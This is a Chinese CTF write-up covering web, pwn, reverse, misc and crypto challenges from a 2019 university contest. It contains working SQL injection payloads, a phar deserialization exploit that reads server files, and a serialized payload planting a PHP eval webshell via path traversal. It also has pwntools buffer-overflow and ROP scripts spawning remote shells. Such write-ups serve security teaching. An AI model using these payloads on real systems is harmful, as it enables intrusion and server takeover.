2019暨南大学'华为杯'网络安全大赛Writeup xp0int Posted on Dec 13 2019 题目源码&附件:[https://github.com/xf1les/2019JNUCTF](https://github.com/xf1les/2019JNUCTF) ## WEB *** ### BabyUpload `Point: 78 Solve: 72` js检查文件后缀 上传一个give_me_flag.jpg(或png/gif),绕过js检查 截包改后缀为php即可拿flag ### EasyUpload `Point: 98 Solve: 53` 在babyupload基础上增加了文件内容检查 上传一个give_me_flag.jpg(或png/gif),绕过js检查 截包改后缀为php 并在文件内容末尾(不破坏文件头的位置就行)添加'givemeflag'即可拿flag ### Lottery `Point: 105 Solve: 47` 送分/娱乐题,概率大概在1/450,直接抽奖可以。 更简便的方法,查看网页源代码看到data.php,进去看发现直接显示返回的数据。 编写脚本一直请求data.php找'flag{'即可 ### BabyPHP `Point: 112 Solve: 43` 题目已给源码 if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($msg_giveme); } 上面的代码说明,不管是POST还是GET,必须带有'flag'参数。通过这里,往下,可以看到 foreach ($_GET as $key => $value) { $$key = $$value; } 上面的源码这里可以变量覆盖 比如说传入`flag=cc`,则`$flag=$cc` 虽然传入flag参数后flag会被覆盖,但可以用别的变量保存flag。 传入`a=flag&flag=a`则`$a=$flag,$flag=$a` payload:`?a=flag&flag=a` (这不是惟一解,各位可以试试其他方法) ### EasyPHP `Point: 121 Solve: 39` 考点:哈希长度扩展攻击 可用工具:HashPump 首页有提示`<!-- /source.txt -->` 访问可以看到源码.从源码可看出,服务端会检查客户端请求头的cookie中check的值,需要通过以下两道检查能够拿到flag: 1.`if (urldecode($username) === "admin" && urldecode($password) != "admin")` 2.`if ($_COOKIE["check"] === md5($secret . urldecode($username . $password)))` 通过第一道只需让输入的用户名为'admin'而密码不为'admin'; 通过第二道检测可以使用hashpump构造check和password的值使`===`成立 ### EasyGame `Point: 128 Solve: 36` 签到题(不知道为啥这么少人做) ,get发送数据JNU,POST发送数据JNUJNU 伪造admin用x-forwarded-for:127.0.0.1即可 ### Babysql `Point: 162 Solve: 27` hint:1.闭合 2.注释 3.列数为3 页面已提示flag在表\`flag\`的\`flag\`字段中 1.`id=1'#` 结果与`id=1`相同,可继续尝试注入 2.`id=' union select 1,2,3#` 显示了2和3,可知列数为3且回显位在2,3 3.payload:`id=' union select 1,2,flag from flag#` ### Easysql `Point: 208 Solve: 19` 在babysql的基础上添加了对空格的过滤 页面已提示flag在表\`flag\`的\`flag\`字段中 1.`id=1'#` 结果与`id=1`相同,可继续尝试注入 2.`id='/**/union/**/select/**/1,2,3#` 显示了2和3,可知列数为3且回显位在2,3 3.payload:`id='union/**/select/**/1,2,flag/**/from/**/flag#` ### Image Checker `Point: 500 Solve: 1` 提示class.php.bak源码泄露(其实dirb -X .php可以扫出class.php) ``` php <?php class CurlClass { public function httpGet($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($ch); curl_close($ch); return $output; } } class MainClass { public function __destruct() { $obj = new CurlClass; echo $obj->{$this->call}($this->arg); } } ?> ``` `/imagesize.php`猜出使用了getimagesize,可以传入phar流包装器url打开phar文件触发反序列化漏洞。 `/upload.php`可以上传jpeg文件,可以将phar文件扩展名改为jpeg上传。 `/imagesize.php`禁止了以`phar://`和`compress.bzip2://`开头的url,可以在phar流包装器前面加上php流包装器绕过:`php://filter/read=convert.base64-encode/resource=phar://...` exp.py: ``` python3 import requests import subprocess import os import sys import re readfile = sys.argv[1] cwd = os.path.dirname(os.path.abspath(__file__)) base = 'http://35.194.143.125:4523' subprocess.Popen(['php', 'phar.php', readfile], cwd=cwd).wait() with open('phar.phar', 'rb') as f: files = {'fileToUpload': ('phar.jpeg', f)} r = requests.post(base + '/upload.php', files=files) os.unlink('phar.phar') mo = re.search(r'uploads/[\da-f]{10}\.jpeg', r.text) if mo is None: sys.stderr.write('upload file failed:\n') sys.stderr.write(r.text) sys.exit(-1) uri = mo.group(0) name = 'php://filter/resource=phar://{}/test.jpeg'.format(uri) data = {'name': name, 'submit': ''} r = requests.post(base + '/imagesize.php', data=data) sys.stdout.buffer.write(r.content) ``` phar.php: ``` php <?php class CurlClass { // public function httpGet($url) // { // $ch = curl_init(); // curl_setopt($ch, CURLOPT_URL, $url); // curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // $output = curl_exec($ch); // curl_close($ch); // return $output; // } } class MainClass { public function __construct($path) { $this->call = 'httpGet'; $this->arg = 'file://'.$path; } // public function __destruct() // { // $obj = new CurlClass; // echo $obj->{$this->call}($this->arg); // } } $phar = new Phar('phar.phar'); $phar->startBuffering(); $phar->addFromString('test.jpeg', 'test'); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new MainClass($argv[1]); $phar->setMetadata($o); $phar->stopBuffering(); ``` ### unserialize `Point: 500 Solve: 0` 右键查看网页源代码,拖到最底下 ![title](https://leanote.com/api/file/getImage?fileId=5df2fc87ab64417f8d00160a) 键入发现一段php断码 ![title](https://leanote.com/api/file/getImage?fileId=5df2fc77ab64417f8d001605) 弱类型比较,直接网上搜索可以找到符合条件的参数: `QNKCDZO`、`s878926199a` `?source=1&A=QNKCDZO&B=s878926199a` 可以发现更多代码 ![title](https://leanote.com/api/file/getImage?fileId=5df2fc97ab64417d89001686) 这里需要让类`value==1`,调用 show_flag() 来爆flag,但是这里用了 str_replace 过滤 Getflag 字符串,这里可以双写绕过。 正常情况下:`O:7:"GetGetflagflag":2:{s:8:"value”;i:1;}` 但是这里还有一个点就是 value 变量类型是`protected`(保护),所以我们不能直接改变,这里需要使用点技巧: 参数变成 `\00*\00test3` 替换后,url编码传过去:`?source=1&A=QNKCDZO&B=s878926199a&ans=O%3A7%3A"GetGetflagflag"%3A2%3A%7Bs%3A8%3A"%00%2A%00value"%3Bi%3A1%3B%7D` 然后根据提示进到 `youcantfind/d0cb52940652171fc01a7639aa7285537f13ad97.php` 又是一段源代码。 这里可以很明显知道是写文件,那么就考虑写一句话到服务器。 首先,这里看似只能写一句话进 log 文件。其实用链接变量, 让变量`filename`和`out`相等就能写入php文件。 这里要用个路径穿越,因为需要写到这个php所在的目录下,但是`out`变量拼接了年/月/日等。 ![title](https://leanote.com/api/file/getImage?fileId=5df2fca4ab64417f8d001613) 生成的`$_POST[val]`;在php页面时显示不了的,自己手动调了下,最终 payload 如下: `O%3A11%3A"CatchRecord"%3A3%3A%7Bs%3A8%3A"filename"%3Bi%3A0%3Bs%3A3%3A"out"%3BR%3A2%3Bs%3A3%3A"msg"%3Bs%3A55%3A"%2F<%3Fphp+eval%28%24_POST%5Bval%5D%29%3B+%3F>%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fe.php"%3B%7D` 这个 payload 会在当前 youcanfind 的目录下生成一 个 e.php,这里面有我们的一句话。 最后直接菜刀连上,密码val,地址 ip/youcanfind/e.php ,flag在根目录 ## PWN *** ### babyrip `Point: 242 Solve: 15` 简单的[栈溢出](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/stackoverflow-basic-zh/),通过栈溢出控制程序的执行流程。 用 IDA Pro 打开附件压缩包中的可执行文件,可知程序使用`scanf`函数从标准输入读取`0x100`字节数据到缓冲区`v1`。 ![title](https://leanote.com/api/file/getImage?fileId=5de68c75ab644155d3003a3b) `v1`位于栈中,地址为`[rbp-F0h]`,计算出`v1`的长度为`0xF0 - 0 = 0xF0`。因为`0x100`>`0xF0`,这是典型的缓冲区溢出漏洞。 栈上**返回地址**的保存位置是`[rbp+8h]`。因为`0xF0 - (-8) = 0xF8`,如果输入`0x100`字节数据,多余的8字节刚好覆盖返回地址。控制返回地址,就能控制程序的执行流程。 程序里有一个叫`backd00r`的函数(位于`4007D5`),只有一条语句:`system("/bin/sh")`。只要执行这条语句,我们可以获得一个 shell,从而执行任意 shell 命令。 ![title](https://leanote.com/api/file/getImage?fileId=5de68c75ab644155d3003a3a) 漏洞利用脚本如下: ``` #!/usr/bin/env python ## -*- coding: UTF-8 -*- from pwn import * ## 输出详细信息 ## context(log_level='debug') ## 本地测试 p = process("./babyrip") ## p = remote("34.80.207.78", 10000) ## p64 函数将整数转换为8字节二进制数据 p.sendafter("Enter your comment:", 'A' * (0x100-0x8) + p64(0x4007D5)) p.interactive() ``` 运行脚本后,我们成功获得了远程服务器上的 shell。 ![title](https://leanote.com/api/file/getImage?fileId=5de68c75ab644155d3003a31) 用`ls`列出当前目录的文件,发现`flag.txt`。用`cat flag.txt`查看内容,获得`flag{9af42a36-72cd-43c5-be0f-aae3aebbadf4}`。 ### babyrop `Point: 276 Solve: 12` 类似 babyrip,仍然是缓冲区溢出漏洞,这次我们可以溢出任意长度的数据。 ![title](https://leanote.com/api/file/getImage?fileId=5de68c75ab644155d3003a35) 不同的是,`backdoor`函数里面的语句是`system("echo FLAG")`,这个语句获得不了 shell。 ![title](https://leanote.com/api/file/getImage?fileId=5de68c75ab644155d3003a39) 为了执行`system("/bin/sh")`,我们需要使用 ROP 技术。 [ROP](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/)(Return-oriented Programming,面向返回编程) 是一种特殊的栈溢出利用技术,在控制执行流程的基础上,实现了**修改寄存器值**、**调用函数**等操作。 ROP 利用了程序里面一些以 `ret` 指令结尾的小片段(又称 **gadget**)。将一些有特殊功能的 **gadget** 地址和数据,像编程那样按顺序排列在一起,可以组成一个 **ROP 链**。通过栈溢出将 ROP 链放置到返回地址的位置,程序就会运行整个 ROP 链,从而达到某些目的。 我们使用了[pwntools](https://docs.pwntools.com/en/stable/rop/rop.html) 提供的自动构建 ROP 链工具,来生成可以执行`system("/bin/sh")`的 ROP 链: ``` #!/usr/bin/env python ## -*- coding: UTF-8 -*- from pwn import * context(arch='amd64') sh_str = 0x400836 ## "/bin/sh" system = 0x400724 ## call system rop = ROP(ELF("./babyrop")) rop.call(system, [sh_str]) ## system("/bin/sh") print rop.dump() ## 显示生成的 ROP 链信息 ## print rop.chain() ## 打印实际的 ROP 链,即攻击 Payload ``` 这是生成的 ROP 链信息: ``` 0x0000: 0x400803 pop rdi; ret ## 弹出栈顶数据(即0x400836),写入到 rdi 寄存器 0x0008: 0x400836 [arg0] rdi = 4196406 ## 0x400836,"/bin/sh"字符串地址 0x0010: 0x400724 ## call system。此时 rdi = 0x400836,即执行 system("/bin/sh") ``` 漏洞利用脚本如下: ``` #!/usr/bin/env python ## -*- coding: UTF-8 -*- from pwn import * ## 输出详细信息 ## context(log_level='debug') ## 将当前架构设为 amd64,否则可能会生成错误的 ROP 链。 context(arch='amd64') ## 本地测试 p = process("./babyrop") ## p = remote("34.80.207.78", 10001) sh_str = 0x400836 ## "/bin/sh" system = 0x400724 ## call system rop = ROP(ELF("./babyrop")) rop.call(system, [sh_str]) p.sendlineafter("Enter your comment:", 'A' * 0xF8 + rop.chain()) p.interactive() ``` ### babystack `Point: 276 Solve: 12` babyrip 类似,但更简单粗暴:只要把`v3` 变量改为`0x1337abc`,直接给 shell。 ![title](https://leanote.com/api/file/getImage?fileId=5de68c75ab644155d3003a37) `v3` 的地址为`[rbp-10h]`,缓冲区`v2`的地址为`[rbp-108h]`,两者的距离为`0x108 - 0x10 = 0xF8`。 ``` #!/usr/bin/env python ## -*- coding: UTF-8 -*- from pwn import * ## 输出详细信息 ## context(log_level='debug') ## 本地测试 ## p = process("./babystack") p = remote("34.80.207.78", 10002) p.sendafter("Enter your name:", 'A' * 0x18) ## 可以输入任意内容 p.sendafter("Enter your comment:", 'A' * 0xF8 + p64(0x1337abc)) p.interactive() ``` ### inversion `Point: 500 Solve: 1` 请看:https://github.com/xf1les/2019JNUCTF/tree/master/PWN/inversion ### syscall `Point: 500 Solve: 0` 请看:https://github.com/xf1les/2019JNUCTF/tree/master/PWN/syscall ## Reverse *** ### easyRE `Point: 105 Solve: 47` 拖进ida,main函数按F5,看到一串base64,解码得到flag ### easyELF `Point: 201 Solve: 20` 两种方法:提取大概代码自己实现一遍,更简单的直接动态调试 进到解密函数,return处下断点 ![title](https://leanote.com/api/file/getImage?fileId=5de68c75ab644155d3003a2e) 直接运行起来,查看变量看到flag ![title](https://leanote.com/api/file/getImage?fileId=5de68c75ab644155d3003a3e) ### reverseMe `Point: 253 Solve: 14` 1. 题目流程很简单,输入-加密-对比。 2. 稍微分析一下啊可以知道,是一个base64加密,但是仔细分析,可以看到base64的表是被修改过的,可以找一个解密脚本,然后修改一下base64的表即可 3. 这里选择一个其他的方法,分析ida中其他函数,可以看到sub_4006D6是一个base64的解密脚本。 4. 所以我们可以在gdb中,运行到加密函数处,修改函数为解密函数,然后将参数修改为加密后的值,执行函数后,即可看到flag。 ``` gdb ./ReverseMe b *0x0000000000400BB3 b *0x0000000000400BB8 r si set $rip=0x00000000004006D6 set $rdi=0x0000000000400C94 c x/s $rax ``` ### binary `Point: 477 Solve: 2` 压缩包内有两个文件:`binary.bin` 和 `dumpinfo`。 `dumpinfo`记载了目标文件`binary.o`的一些信息,`binary.bin`是`binary.o`的`binary`格式(即`binary.o`去除所有的头信息,只保留机器码部分)。 从`dumpinfo`可知,原文件`binary.o`的架构是`mips:isa64r2`,文件格式是`elf64-tradlittlemips`。 ``` binary.o: file format elf64-tradlittlemips binary.o architecture: mips:isa64r2, flags 0x00000011: ``` 有了这些信息,我们可以用`objcopy`程序将`binary.bin`封装回原来的格式: ``` objcopy -B mips:isa64r2 -I binary -O elf64-tradlittlemips binary.bin binary.o ``` 用 IDA Pro 打开`binary.o`,发现 IDA Pro 将文件里面的机器码识别为普通数据。 ![title](https://leanote.com/api/file/getImage?fileId=5de68c75ab644155d3003a36) 将鼠标光标移动到机器码开头处,按下快捷键C,将数据强制转换成代码。 ![title](https://leanote.com/api/file/getImage?fileId=5de68c75ab644155d3003a3c) 用同样的方法将剩余部分全部转换成代码。 ![title](https://leanote.com/api/file/getImage?fileId=5de68c75ab644155d3003a3d) 这是一个基于[MIPS 架构](https://zh.wikipedia.org/zh-cn/MIPS%E6%9E%B6%E6%A7%8B)的程序。从`0x38`地址开始,IDA Pro 用虚线将代码分成了一个个代码块(又称**分支**),每个代码块的内容十分相似。 经分析代码可知,程序的第一个参数是一个数组指针,每个代码块分别检查数组元素与一个数相异或后,是否等于另一个数。 例如下面的代码块,等价于检查`arr[3] ^ 0x24` 是否等于 `0x43`。 ``` 0xC8: ld $v0, 8($fp) ## 加载数组指针(第一个参数)到 v0 寄存器 0xCC: daddiu $v0, 3 0xD0: lb $v0, 0($v0) ## 上面两条指令相当于:v0 = v0[3] 0xD4: xori $v0, 0x24 ## v0 ^= 0x24 0xD8: sb $v0, 0x1F($fp) 0xDC: lb $v1, 0x1F($fp) ## 上面两条指令相当于:v1 = v0 0xE0: li $v0, 0x43 ## v0 = 0x43 0xE4: beq $v1, $v0, loc_F8 ## 如果 v0 等于 v1,转跳到 loc_F8(下一个分支) 0xE8: nop 0xEC: move $v0, $zero 0xF0: b loc_6A0 ## 如果 v0 不等于 v1,程序退出 0xF4: nop ``` 将所有代码块中的两个数值提取出来,然后两两异或,得到: ``` 66 6c 61 67 7b 39 30 35 5f 6a 55 73 74 5f 44 31 56 65 5f 31 4e 74 30 5f 4d 49 50 53 5f 36 34 37 7d ``` 转换成字符,得到`flag{905_jUst_D1Ve_1Nt0_MIPS_647}`: ``` >>> print '666c61677b3930355f6a5573745f443156655f314e74305f4d4950535f3634377d'.decode('hex') flag{905_jUst_D1Ve_1Nt0_MIPS_647} >>> ``` ## MISC *** ### wewuwewu `Point: 64 Solve: 100` 可用工具:binhex binhex打开图片,或 cat wewuwewu.png 在末尾可以看到flag ### Music `Point: 85 Solve: 64` 音乐加密https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=yinyue ### O N E O F U S `Point: 92 Solve: 57` 附件是一个 mkv 视频文件。使用[ffmpeg](https://zh.wikipedia.org/wiki/FFmpeg)之类的多媒体工具查看详细信息: ``` $ ffmpeg -i oneofus.mkv ...... Input #0, matroska,webm, from 'oneofus.mkv': ...... Stream #0:0(eng): Audio: aac (LC), 44100 Hz, stereo, fltp (default) ...... Stream #0:1: Video: mjpeg, yuvj420p(pc, bt470bg/unknown/unknown), 500x499 [SAR 1:1 DAR 500:499], 1k fps, 1k tbr, 1k tbn, 1k tbc ...... Stream #0:2: Video: mjpeg, yuvj444p(pc, bt470bg/unknown/unknown), 640x400 [SAR 72:72 DAR 8:5], 1k fps, 1k tbr, 1k tbn, 1k tbc ...... ``` 发现有两条视频流`#0:1`和`#0:2`。这是 mkv 文件的特点之一:不同于 MP4、AVI 等常见的视频格式,mkv 允许存在多条视频流。 主视频流`#0:1`是默认显示的唱片专辑封面,次视频流`#0:2`就是包含 flag 的图片。 方法有两种:一是用支持多视频流的播放器打开,然后切换到第二条视频流;二是用 ffmpeg 直接将次视频流单独提取出来: ``` ## 0:2是次视频流的编号 ffmpeg -i oneofus.mkv -map 0:2 -c copy flag.jpg ``` *P.S. ONEOFUS 是 HIKASHU 演唱的一首歌曲。HIKASHU 是上世纪80年代的一支乐队,以风格奇异的前卫音乐而闻名。* ### Rainbow `Point: 119 Solve: 40` 通过图像处理软件的调色板功能,将图片上的每条色带转换成[十六进制颜色码](https://www.runoob.com/html/html-colorvalues.html)(或 HTML 颜色码)。 ![title](https://leanote.com/api/file/getImage?fileId=5de68c75ab644155d3003a32) ``` 000031 300000 003100 000031 630000 006800 000041 730000 000033 5f0000 003100 480000 006500 5f0000 007200 000061 004900 6e0000 000062 003000 000077 002100 000021 003100 000032 003200 000037 ``` 可以发现,每条色带的三字节颜色码,只有一个字节是非零值。 将所有的非零值提取出来,得到`3130313163684173335f3148655f7261496e623077212131323237`。 然后转换成字符,可以得到 flag 为`flag{1011chAs3_1He_raInb0w!!1227}`。 ``` >>> print '3130313163684173335f3148655f7261496e623077212131323237'.decode('hex') 1011chAs3_1He_raInb0w!!1227 >>> ``` ### carefully `Point: 146 Solve: 30` 核心价值观解密、Atbash Cipher 直接就能解开 ### LoLo `Point: 182 Solve: 22` 有两张看似一样的图片,可能是盲水印 https://github.com/linyacool/blind-watermark/tree/python3 ### NoMansLand `Point: 224 Solve: 17` 解压压缩包,得到`NoMansLand`目录。`NoMansLand`目录下存在`.git`目录,说明这是一个 Git 仓库。 用`git log -p`命令查看 commit 历史,发现仓库里有一个 flag.txt 文件:先向 flag.txt 添加一个字符,再 commit;然后删除 flag.txt 末尾最后一个字符,再 commit;最后删除整个文件。 很显然,flag 就在 flag.txt 的末尾。只要找到处于中间位置的 commit,就能获得完整的 flag。 ``` git log -p 3b5b2facedccd9fd5591ca460e619e2d4b05c813 ``` ![title](https://leanote.com/api/file/getImage?fileId=5de68c75ab644155d3003a33) 得到 flag 为`flag{The_harder_you_look_the_harder_you_look}`。 *P.S. flag.txt 文本出自[英文维基 - No man's land](https://en.wikipedia.org/wiki/No_man%27s_land)。* ### Guess `Point: 401 Solve: 5` 题目提示了猜测,其实就是猜flag. 观察到输入正确的flag不会返回任何东西,如flag{ 输入出错的话,返回Oops! 直接上脚本 ``` from pwn import * import string text = string.digits + string.letters + '{}-_!' p = remote('ip','port') def boom(): flag = '' p.recvuntil('know:') while True: tmp = flag for i in text: p.sendline('4') p.recvuntil('it:') p.sendline(tmp+i) content = p.recv() if 'Oop' not in content: flag+=i print flag if i == '}' : return break boom() ``` ### nopan `Point: 425 Solve: 4` 我们利用了百度网盘一个名为 **秒传(Rapidupload)** 的文件上传机制。 **秒传**最初是为了解决大文件上传的问题。只需提供一些元信息(如文件大小和散列值),只要百度网盘上存在着相符的文件(如有用户曾经上传过此文件),服务器就会直接将文件转存到用户网盘里,无需重复上传。 我们需要三种元信息: * 文件大小 * 文件 MD5 值 * 文件前 256 KB 的 MD5 值 文件大小和 MD5 值已经在`msg.txt`中给出。 前 256 KB 的 MD5 值可以使用图片前半截计算得到: ``` $ python -c "from hashlib import md5; print md5(open('flag.png').read(256 * 1024)).hexdigest()" 875b6eb10090eb3127d206f35a4b277e $ ``` 百度没有对外公布秒传的 API,我们有以下两种途径来使用: 1.百度网盘第三方客户端 部分第三方客户端实现了手动秒传文件功能。 下面以[BaiduPCS-Go](https://github.com/iikira/BaiduPCS-Go#%E6%89%8B%E5%8A%A8%E7%A7%92%E4%BC%A0%E6%96%87%E4%BB%B6)为例: ``` $ BaiduPCS-Go rapidupload -length=2865514 -md5=3571407e1f0d73b789f2232448680cd1 -slicemd5=875b6eb10090eb3127d206f35a4b277e /flag.png 秒传文件成功, 保存到网盘路径: /flag.png $ ``` 2.手动解析 API 在网页版百度网盘上传文件时,大小超过 256 KB 会自动调用秒传 API。 ![title](https://leanote.com/api/file/getImage?fileId=5de68c75ab644155d3003a34) 由此手动解析出秒传所使用的 API 以及参数: URL:`https://pan.baidu.com/api/rapidupload?rtype=1&channel=chunlei&web=1&app_id=250528&clienttype=0` | POST 参数 | 描述 | | :---: | :----: | :----: | | path |目标文件路径 | | content-length |文件大小 | | content-md5 |文件MD5值 | | slice-md5 |文件前 256 KB 的MD5值 | ``` path=/flag.png&content-length=2865514&content-md5=3571407e1f0d73b789f2232448680cd1&slice-md5=875b6eb10090eb3127d206f35a4b277e ``` 浏览器登录百度网盘,然后使用 hackbar 之类的工具模拟 API 调用。 ![title](https://leanote.com/api/file/getImage?fileId=5de68c75ab644155d3003a38) 若返回类似下面的结果,即秒传文件成功。 ``` {"errno":0,"info":{"size":2865514,"category":3,"fs_id":257094077994942,"request_id":7.7240727980562e+18,"path":"\/flag.png","isdir":0,"mtime":1575045413,"ctime":1575045413,"md5":"1e2e36d0bsda8d91494b49b60059eecb"},"request_id":7724072709956150454} ``` 如果一切顺利,网盘根目录下就会出现 `flag.png`: ![title](https://leanote.com/api/file/getImage?fileId=5de68c75ab644155d3003a30) flag 为`flag{2995_ke3p_clam_and_enj0y_y0ur_fl1ght_300}`。 ### orzzzxzz `Point: 425 Solve: 4` 看很久没人做出来,就提示的xor(其实题目也提示了orzzxzz) 将key异或整个文件,会得到十六进制是50 4B 03 04开头的文件,一看就是zip了(其实文件名也提示了) ``` key = "f4c8ac72484329237b3defc794c93043" def xor(a, key): xored = '' for i, x in enumerate(a): xored += chr(ord(x) ^ ord(key[i % len(key)])) return xored def dec(): f = open('orzzzxzz.zip.enc', 'rb').read() dec = xor(f, key) open('orz.zip', 'wb').write(dec) return dec dec() ``` 下一步爆破I'm here.zip ,看到被挖了两个角的二维码... 直接把另一个角贴过来,扫码得到另一个zip的密码:Xp0*in_t*CT*F 打开not_this.zip,发现损坏,在线修复一下http://f00l.de/hacking/pcapfix.php 修复好之后可以看到很多TCP协议,大概过一遍TCP流,发现从 tcp.stream eq 29 到 tcp.stream eq 41 显示了 where is the flag? 数据。仔细看下这些流,每个包有两个flag的字符。 组合一下即可。 ## Crypto *** ### really_encrypted `Point: 71 Solve: 84` 十分简单的密码题,栅栏密码,根据'f','l','a','g'的位置可以确定每组字数4 ### My kingdom `Point: 91 Solve: 58` 题目提示很明显了,凯撒大帝---凯撒加密 先十六进制解码得字符串。 这里字符集增加了数字... 很多人就来问...(我们的所有flag真的是没有问题的呀... 写脚本除了特殊字符全部字符ascii码-2,保留flag格式即可 ### easyrsa `Point: 150 Solve: 30` 非常典型的[RSA](https://ctf-wiki.github.io/ctf-wiki/crypto/asymmetric/rsa/rsa_theory-zh/)密码题。题目给出了因数$n$、公开参数$e$和密文$c$。 RSA解密的关键是找到两个质数$p$和$q$,使得$n = p * q$。只要找到$p$和$q$,就能计算密钥$d$,解出密文。 在[FactorDB](http://factordb.com/index.php?query=18166111488983638423176654225038910650374178404043258136863317940757240374883045318227630220114908148002528619687208976201483203446705228237820608531034600157346418730110800833894198105113069673034318791074080878803821797374439187892933762426303490171060652425319592687318992422979831460606780689490127157122450326817694644127955168509718422226505201308410281564018832558025316135527711604948983206569045881358071837726506411561445950018434181828539749068924458242255898899889941894373420604283541696070823346969159662074221543706652525690955057870664198106495869582165707721782854117610672456879034154898769471938117)(一个专门收集质因数的网站)上搜索$n$,得到$p$和$q$分别为: ``` p = 130456283857645025762691023898845608928710362686294851221450093824533197549806631148867242691844441160576320773904432512838379590127986113818416101086695539425149571612979342889778360825402727498529748702035429662584726706609716114370652011043194792995908818094170934656989995629482678233000685983090325365549 q = 139250566947059823453625463016686669261826444361819002282335838853816828667839799789393680821194880353192071200076880361361848345889074292932450446910930443112614763933390287115641256150843558712707320218852675477962227409197464100372762134803009018827495653979157431219931338408129724157546988493768646375033 ``` 首先计算$n$的[欧拉函数](https://zh.wikipedia.org/wiki/欧拉函数) $\varphi(n) = (p-1) * (q-1)$。 ``` >>> phi = (p-1) * (q-1) ## phi = 18166111488983638423176654225038910650374178404043258136863317940757240374883045318227630220114908148002528619687208976201483203446705228237820608531034600157346418730110800833894198105113069673034318791074080878803821797374439187892933762426303490171060652425319592687318992422979831460606780689490127157122180619966889939278738852022802889948314664501362167710515046625346966109310065174010722283056006559844303445752525098687245722082417121421788882520926832259718134564343572264368000987307295409859586278048271556933674589590845345476211643724817994294672465110092379355905932783573060054488486480421910500197536 ``` 然后计算密钥$ d \equiv e^{-1} \mod \varphi(n) $。 ``` >>> from Crypto.Util.number import inverse >>> d = inverse(e, phi) ## d = 11643031371336325256375973634260561254837984492476509678209359701902240333042211812362991588960535298361203780175191507642508819103337144008749513110724893495417534710767567606495443752493543777501770396879254363691895124539053414838256095899330939791953120290417995502359689301232049692102586570659982927319835737996692631787603136249230397933823781493129323779124372773411568494979324314038579409760661909145980468062149079836719247300759094377234542646276312041094351652359543607313632199686522672623740208174612790903490661171153209505817994156236248719859350053928625089117182669960523284995260480700091988499585 ``` 得到密钥$d$后,使用解密公式$ m \equiv c^{d} \mod n $,解出明文$m$。 ``` >>> m = pow(c, d, n) ## m = 4079298574924100380882798141080777519551699955439474094729924030825463150621200292859549484308473511195982027523392939998962139796530757717099548565227012907221461316960947880602936490993085237650824412891417747519 ``` 将明文$m$从整数转换成字符串: ``` >>> from Crypto.Util.number import long_to_bytes >>> print long_to_bytes(m) 0x1337 ^ (-1) mod 0x18a39cb09e40671788a6b9221371e3f5455bbde2aff984e491c85f4f3ad309613 = ? ``` 明文提示求`0x1337`对一个大整数的[模逆元](https://zh.wikipedia.org/wiki/模逆元)。 求模逆元是 RSA 中的一个重要数学操作。上面解密用到的密钥$d$,其实就是公开参数$e$对$n$的欧拉函数$\varphi(n)$的模逆元。 计算模逆元,将结果转换成字符串,即可得到 flag: ``` >>> flag = inverse(0x1337, 0x18a39cb09e40671788a6b9221371e3f5455bbde2aff984e491c85f4f3ad309613) >>> print long_to_bytes(flag) flag{456_easy_rsa_challenge_657} ``` ### lincoln `Point: 357 Solve: 7` *出题人:本来想出一道普通的算法题,因为难度不好控制,最后出了道考验计算能力的怪题...* 题目附件的 Python 脚本实现了著名的 LCG 算法,并且给出了以 flag 为种子的第$ 2^{30} + 1 $个随机数。 [LCG](https://zh.wikipedia.org/wiki/%E7%B7%9A%E6%80%A7%E5%90%8C%E9%A4%98%E6%96%B9%E6%B3%95)(Linear Congruential Generator,线性同余方法)是应用广泛的伪随机数生成算法,算法十分简单,使用下述公式递归地生成伪随机数: $$ X_{n+1} = (aX_n + b) \mod n (a、b、n为参数)$$ 设置某个秘密数字(种子)为初始值$X_0$,把它代入这条公式,计算结果即为伪随机数$X_1$。然后将$X_1$代入公式,得到新的伪随机数$X_2$,如此类推生成$X_3$、$X_4$、$X_5$、$X_6$...... LCG算法听起来很高大上,其实本质上只是嵌套计算的[仿射密码](https://zh.wikipedia.org/wiki/%E4%BB%BF%E5%B0%84%E5%AF%86%E7%A2%BC)而已。只要了解仿射密码,就能轻易地写出逆推公式: $$ X_{n-1} = a^{-1} (X_n - b) \mod n $$ 有了逆推公式,可以写出逆向计算 flag 的 Python 代码: ``` from Crypto.Util.number import inverse a = 0xdb626d86f5dc6cf4ec8c4ca4f4b9dab3 b = 0xb2dab99e8973e463ab58a4403d35675f n = 0xd5aef35973977bd35331490990b6b54b80d44bdb621f861848f4377c54cf6649 val = 79170490870873300481412741527444043988034242063298009080761756461786076517810 r = inverse(a, n) ## a ^ (-1) times = 2 ** 30 + 1 while times > 0: val = (r * (val - b)) % n times -= 1 print val ``` 因为需要计算$ 2^{30} + 1 $次,Python 跑完这段代码要花很长时间。为了缩短时间,解密代码可以用速度更快的C语言实现。 C语言版的代码[在这里](https://github.com/xf1les/2019JNUCTF/blob/master/Crypto/lincoln/writeup/solve.c)。代码使用了开源数学运算库[GMP](https://gmplib.org/),计算速度比 Python 快很多,只用了2分钟左右,就得到了结果`180966415225526098453856893299872427450627808844390491008662352366530869117`。 ``` $ time ./solve 180966415225526098453856893299872427450627808844390491008662352366530869117 real 2m5.994s user 2m5.989s sys 0m0.004s ``` 将得到的整数转换成字符串: ``` >>> from Crypto.Util.number import long_to_bytes >>> print long_to_bytes(180966415225526098453856893299872427450627808844390491008662352366530869117) flag{541_LCG_iS_A_baD_pRng_167} >>> ``` 最后得到`flag{541_LCG_iS_A_baD_pRng_167}`。 打赏还是打残,这是个问题 赏 Wechat Pay Alipay SimpleMachine - xfiles [PWN] childjs - xfiles
没有帐号? 立即注册